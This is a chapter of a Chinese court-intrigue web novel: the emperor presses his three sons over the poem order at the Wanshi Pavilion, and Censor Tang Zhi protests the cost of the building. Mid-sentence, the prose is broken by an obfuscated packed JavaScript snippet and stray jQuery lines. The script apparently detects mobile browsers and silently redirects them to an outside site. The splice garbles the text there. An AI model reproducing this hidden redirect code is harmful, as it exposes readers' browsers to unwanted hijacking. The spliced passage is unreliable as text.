雪溅白虹南华侍酒

108.文无第一

    俗话说得好,当你什么都不做很焦虑的时候,就要做点什么。


    这俗话是秦昭说的。


    转眼间她被困在京郊别院里已经十天,过着喝药、向陈斯打探晋竹影此刻在做什么、被滕小晓揶揄是不是真喜欢上晋竹影了、一脸官司跟总跑来的赵鉴说自己真不知道晋竹影在哪、问叶长年有没有最新线索、等横舟回来问他有没有见到黎江、看着红胸脯点卯似的绕她飞几圈而后离开、跟坐在屋顶上的陆风怜打招呼被臭脸相对的平静安详生活。


    稳定,无聊,束手束脚,没有进展。


    在第几十次放下手中的长明灯和金函而一无所获之后,秦昭终于想起许久以前阿虫留给她的那本轻功秘籍。在水下太子陵,如果她轻功水平更强一些的话,说不定就会更快解决那些刺客,晋竹影也不至于在鬼门关前走一遭。


    秦昭翻看秘籍第一招轻功,赫然瞪大眼睛。


    与此同时,朝廷那边,皇帝对迟迟定不下来的万诗坛顺序表示非常不满。


    在满朝文武都盯着他一举一动的时候,他不能开口定哪个皇子该在中间。但是又对这些关键时刻谁都不敢当出头鸟的国家栋梁们感到很失望。


    皇帝威严看向被赐座的老头子:“左仆射,你怎么看?”


    “……”左仆射低着头,毫无动静。


    叶长年侍立一旁,连连戳自己爷爷的肩头。


    左仆射被吓得一个激灵,帽子歪了,边扶正边颤巍巍问道:“啥?咋的了?”


    皇帝一脸难言的表情,摆摆手,又看向礼部尚书。


    “爱卿,你管礼部,这个该你定。”


    礼部尚书环视四周,见皇帝确实是在看自己,清清嗓子,开口长篇大论:“三皇子年龄最长,功勋卓著,理论上当仁不让在最中间……但是多年来五皇子协理朝政,不可谓不尽心尽力……七皇子年龄虽小,但……”


    虽然但是,因为所以,主打一碗水端平。


    话音未落,皇帝抬起手打断,皱眉笑道:“三位皇子都这么大了,或多或少参加过朝廷事宜,暑热旱灾,三位皇子都出钱献策,调动职权和人脉赈济灾民,如今也算平稳过去,竟然没有一个人让众位爱卿觉得此人可托?朕的儿子,都如此无能吗?”


    本就大气不敢喘的众人,此时不敢喘气了。


    “罢了,朕知道你们不容易。退朝,三位皇子等我,一起去看看万诗坛。”


    满朝文武鱼贯而出,互相挤挤眼睛,摊开手掌,而后无言散开。


    两炷香之后,雍朝至贵之人带着他三个一表人才的儿子,出现在万诗坛前,抬头看着这座高大雄伟的建筑。


    万诗坛仿照传统祈福建筑而建,是四层之高的圆形塔式楼阁,较为别出心裁的设计在于:这座高楼是为了展示诗作文章,所以楼梯隔墙非常多,走进内部看像一座破碎迷宫,但各部分檐墙窗梯拼凑在一起,由远处看去又是一座完整的封闭建筑,较有设计新意。


    几人在大门口处站定,周围忙碌的官员下人均驻足低头屏息,还有几人要走上前来侍奉。皇帝笑着摆摆手,让他们各自忙去,又揶揄地从自己这三个不说话的儿子面庞扫过,而后挥手道:“随我进去看看。”


    走过各大臣的献表,各才子佳人的祝寿词,又特意在陆江那论文武的文章前站定,拿起来细细瞧:陈斯在贵女春闱第三场搞的这一出戏终是传到皇帝耳中。


    “五皇子这些年协理朝政,很是辛苦,永泰园和万诗坛都是五皇子携工部建的吧?”


    皇帝的脸仍对着陆江的诗词,而张口却是五皇子的功劳,三位皇子相识一眼,谁都没出声。


    “老三,老七,我说的对不对?”


    “对,”七皇子抢白道,“五哥这些年真的辛苦,朝廷这些复杂事我们在外打仗的比不了,前阵子刚要我上朝时,御史每天找我,我头都大得很。”


    五皇子凤眼微微眯起来,笑得有些僵硬——七皇子刚开始上朝,就把御史台捅出来的戈杭一案递到皇帝眼前,挖出来五皇子好大一个错处,虽然是个没广而告之也没严重责罚的错处。


    “但是,”皇帝听完七皇子的话,继续道,“陆江写的武开疆,文守成,朕也深以为然。朕自幼武艺不精,又长久困居京城,对自古将军开疆扩土很是羡艳。你们觉得如何呢?”


    “父皇说的对。儿臣每天忙的也就是些小事,既不如父皇要操持天下大事,也不如三哥七弟要看顾北疆南疆之生灵。”五皇子谦逊道,而后对三七二位皇子投向钦佩的目光。


    三皇子的脸色凝固一瞬,而后忠厚如常。近日来皇帝因为西域洛城一事对三皇子很是不满,如今五皇子这一番话,眼药上得恰到好处。


    一共三位皇子,如今两位都挨了骂。三皇子下意识想挑七皇子的毛病浅说几句,突然脑中灵光一闪,合上嘴。


    皇帝调转话头:“你们也都大了,是否有相中的姑娘家想成个婚啊?”


    见没人接茬,皇帝又道:“没有相中的姑娘,那是否有相中的权臣想联姻的?”


    联姻?结党!


    三五两位皇子当即跪下,七皇子稍慢一拍,但也一撩衣摆跪倒在地,异口同声道:“儿臣断无不臣之心。”


    皇帝目光中的慈爱已然不见,取而代之的是上位者的冰冷与师者的严厉:“无论秦昭行事多诡异难解,她也是你们唯一的妹妹,哥哥就有保护妹妹的责任。如今你们四人同在京城,以后她再出一点差错,无论什么差错,在哪出的差错,你们的易叔叔都会请你们喝茶。”


    “父皇可是要我们派人保护阿昭?”七皇子追问道。


    “派人?”皇帝嘴角微微一勾,“派什么人,私兵吗?你说朕的正德司羽林军南衙北衙禁军赶不上你的私兵是吗?”


    “儿臣不敢。”七皇子闻言惊慌叩首,久久没有抬头。


    皇帝又把陆江的那篇论文武端起来看了看,平静道:“从你们方才所言,朕能听出你们对自己和各自的水平功绩都有判断。既如此,你们三人诗文的顺序,你们便自己商量着办吧。”


    话音落下,皇帝径直走下万诗坛楼梯,留三位跪倒在地的高大青年久久不能起身,耳边又传来皇帝的一句问话,也有可能是自言自语:“她的那个宠臣,到底是什么来头,还能把她迷得七天不出来见人?”


    有风穿过万诗坛通透的墙体,吹得人心阵


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819318|157655||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    阵凉意。三位皇子你看看我,我看看你,半晌没人开腔。楼下传来劳作的嘈杂声,众人你一言我一语,听不真切,没人知道万诗坛上刚才发生了多么令人心惊胆寒的一幕。


    突然楼下的嘈杂声中,有一男子的声音大起来,似乎有争执。


    “我下去看看。”七皇子最先按捺不住,逃将出去。


    三五皇子对视一眼,紧随其后,目光中多了丝不明,也多了丝玩味。


    万诗坛外,正在吵嚷的人,不是别个,正是唐直,此时正抱着官帽,手指着万诗坛就要往里闯。


    七皇子本冲在最前,见到来者,竟放慢脚步,片刻便退至五皇子身后。


    “别拦着我,我要见皇上!”唐直大声道。


    “你不是才下了朝,有什么冤不够你一早上诉的?别到我们工部的地方撒野!”旁边一个在布置的官员说道。


    唐直不欲解释,直着就要向里冲,被许多人层层拦住,更有人想趁乱打他几下黑拳,被五皇子当即喝住:“住手!”


    “五皇子,三皇子七皇子。”唐直整了整衣襟,向三位贵人拱手。


    “怎么回事?你不是御史吗,不在你的御史台好生呆着,来万诗坛闹什么?”


    “下官有奏要陈。”


    “有奏要陈为何不在早朝说,跑来这里?”五皇子回头看了眼七皇子,而后继续看向唐直:“据我了解你不是很敢说话吗?”


    七皇子又悄悄后撤一步。


    “早朝有人拦着,不让说。”


    “拦你是助你还是害你?”


    “是助我。”


    “那你为何还执意要上奏?”


    唐直正视五皇子,端正神色道:“拦臣不上奏,是助臣个人。臣非上奏不可,是助我大雍。”


    “哦?”五皇子闻言来了兴致,“你说。”


    “五皇子,我雍朝如今外有边患未平,内有旱灾初定,处处都等着用银子,一个永泰园便已经花费巨大,如今又修万诗坛。万诗坛落成还则罢了,迟迟不落成,要这些工部的官员每日来这点卯,实际无甚活计……”


    唐直话音未落,五皇子笑了,拍拍他的肩:“你与我来工部,我们细聊。”


    唐直随着五皇子远去,另两位皇子也说说笑笑着离开,留下将作监诸多官员议论。


    “你听到没,刚才我在楼上,皇帝说要三位皇子自己排顺序。”


    “听到了,若我没猜错,几位皇子还互相攻击来着。”


    “而且皇帝还说,要他们护着公主,不晓得前几天公主到底是出什么事情了,但我感觉没那么简单。”


    “屁,别瞎猜,现在盼着五皇子把唐直拦住才是正事。他一个好不容易考上来的寒门,乖乖当官捞钱不好吗,平白的到处得罪人。”


    “哈哈,你忘了是谁把戈杭一事捅出来的?就是唐直啊。如今他正撞到五皇子手里,能饶得了他?”


    太阳在一众人的猜测议论中落山了。


    在京城的一处偏巷,室内烛灯亮起,寻常来往的那户人家却没在。


    摘下兜帽的是两个黑衣人,对坐半晌,终于开口。


    “许久不见,横舟。”